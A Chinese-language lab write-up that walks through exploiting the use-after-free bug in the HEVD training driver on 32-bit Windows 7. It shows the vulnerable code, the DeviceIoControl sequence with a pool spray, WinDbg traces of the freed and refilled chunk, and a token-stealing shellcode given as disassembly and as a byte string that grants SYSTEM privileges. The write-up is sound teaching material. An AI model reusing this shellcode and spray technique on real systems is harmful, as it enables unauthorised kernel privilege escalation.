环境准备
Win 10 64位 主机 + win 7 32位虚拟机
Windbg:调试器
VirtualKD-3.0:双击调试工具
InstDrv:驱动安装,运行工具
HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等
漏洞简单分析
漏洞代码
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject-> Callback) {
g_UseAfterFreeObject->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
以上代码就可能出现Use After Free, g_UseAfterFreeObject虽然被释放,但是如果没有设置为NULL,然后再调用 Callback(), 而callback的值我们又可以控制,那么我们就能利用该漏洞。
- 漏洞调试与利用
正如Use after Free字面上的意思,该漏洞形成的原因是空间被释放后,再次被使用。所以本实例代码的流程大致如下:
实际上,该种漏洞利用起来并没有那么容易,只是在HEVD中,已经人为制造了相关利用条件。
我们先大致看下利用代码过程。
(1)申请空间
// 创建对象
// 调用 AllocateUaFObject对象
//__debugbreak();
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
(2)释放空间
// 调用FreeUaFObject
// 释放对象
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
(3)覆盖空间内容
// 先编写ShellCode
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'B');
// 喷射
//__debugbreak();
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
(4)再次使用空间
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
这里我们重点讲下(3)中的覆盖空间,这里其实就是利用堆喷的技巧,之前研究HEVD池溢出分析(https://www.anquanke.com/post/id/170446)的时候,我们已经说过。假设我们有一个大小n的内核pool chunk A, 然后释放该chunk。 当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。
我们再次回到代码中去,我们知道g_UseAfterFreeObject是一个全局变量,其值是调用ExAllocatePoolWithTag()函数申请的。然后调用
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
函数释放该空间,但是并未将g_UseAfterFreeObject的值设置为NULL,然后门申请大量与g_UseAfterFreeObject空间相同的空间,并填充我们构造的值,我们会发现g_UseAfterFreeObject指向的内容已经被改变,变成了我们的值,如果再次调用g_UseAfterFreeObject-> Callback()的话,就会执行我们的代码。
下面我们使用windbg简单跟踪调试下:
我们下三个断点(这里强调下,驱动代码是我自己编译的,有符号表,所以可以直接对函数名下断点,如果你是网上直接下的驱动,需要自己定位偏移)
bp HEVD!AllocateUaFObject
bp HEVD!FreeUaFObject
bp HEVD!UseUaFObject
运行利用程序,程序首先断在NTSTATUS AllocateUaFObject()函数处,
P 单步执行到
我们看下
g_UseAfterFreeObject的值,
kd> dd g_UseAfterFreeObject
96773008 85d47338 00000000 00000000 00000000
96773018 00000000 00000000 00000000 00000000
96773028 00000000 00000000 00000000 00000000
96773038 00000000 00000000 00000000 00000000
96773048 00000000 00000000 00000000 00000000
96773058 00000000 00000000 00000000 00000000
96773068 00000000 00000000 00000000 00000000
96773078 00000000 00000000 00000000 00000000
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : 0x967751bc void HEVD!UaFObjectCallback+0
+0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
再看下其所在的pool chunk
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: f8 previous size: 60 (Free) Thre
85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected)
85d47770 size: 88 previous size: 2e8 (Free) Io
85d477f8 size: 2f8 previous size: 88 (Allocated) usbp
85d47af0 size: 510 previous size: 2f8 (Free) XSav
大小为60h = 96 = 8(pool chunk header) + sizeof(USE_AFTER_FREE)。
状态为Allocated的。
Kd>g 继续执行,程序断在NTSTATUS FreeUaFObject()处
P单步运行程序到释放空间后,再观察g_UseAfterFreeObject的pool chunk信息
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : (null)
+0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Free ) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: f8 previous size: 60 (Free) Thre
85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected)
85d47770 size: 88 previous size: 2e8 (Free) Io
85d477f8 size: 2f8 previous size: 88 (Allocated) usbp
85d47af0 size: 510 previous size: 2f8 (Free) XSav
Pool chunk的状态已经由Allocated变成了Free。
Kd>g 继续执行程序,程序断在NTSTATUS UseUaFObject()处,此时程序堆喷代码已经被执行完成。再次观察g_UseAfterFreeObject的内容
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : 0x003c1f90 void +d0000
+0x004 Buffer : [84] "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: 38 previous size: 60 (Free) Thre
85d473c8 size: 60 previous size: 38 (Allocated) Hack
可见g_UseAfterFreeObject的内容已经被我们的堆喷内容覆盖了,即我们大量申请相同的空间时,重新申请到了之前g_UseAfterFreeObject所在的位置。
0x003c1f90地址处正是我们的shellcode内容
kd> uf 0x003c1f90
003c1f90 53 push ebx
003c1f91 56 push esi
003c1f92 57 push edi
003c1f93 90 nop
003c1f94 90 nop
003c1f95 90 nop
003c1f96 90 nop
003c1f97 60 pushad
003c1f98 64a124010000 mov eax,dword ptr fs:[00000124h]
003c1f9e 8b4050 mov eax,dword ptr [eax+50h]
003c1fa1 8bc8 mov ecx,eax
003c1fa3 ba04000000 mov edx,4
003c1fa8 8b80b8000000 mov eax,dword ptr [eax+0B8h]
003c1fae 2db8000000 sub eax,0B8h
003c1fb3 3990b4000000 cmp dword ptr [eax+0B4h],edx
003c1fb9 75ed jne 003c1fa8 Branch
003c1fbb 8b90f8000000 mov edx,dword ptr [eax+0F8h]
003c1fc1 8991f8000000 mov dword ptr [ecx+0F8h],edx
003c1fc7 61 popad
003c1fc8 c3 ret
这里可以看到,我们的shellcode前面多了三行 push 代码,这是因为,我们的shellcode是以函数的形式调用的,在进入函数的时候,自动有入栈的push操作,这个实例中多的这三行代码并没有影响代码执行。
但是有时候多的代码也会影响程序的流程,造成漏洞利用失败,这时我们可以把shellcode放到数组中,然后调用。
char shellcode[] =
"\x90\x90\x90\x90" //# NOP Sled
"\x60" //# pushad
"\x64\xA1\x24\x01\x00\x00" //# mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" //# mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" //# mov ecx, eax(Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" //# mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" //# mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" //# mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" //# sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" //# cmp[eax + PID_OFFSET], edx
"\x75\xED" //# jnz
"\x8B\x90\xF8\x00\x00\x00" //# mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" //# mov[ecx + TOKEN_OFFSET], edx
"\x61" //# popad
"\xC3"; //# ret
最后贴个成功提权的图:
参考文章
[1]. https://bbs.pediy.com/thread-247019.htm
利用代码:https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp
发表评论
您还未登录,请先登录。
登录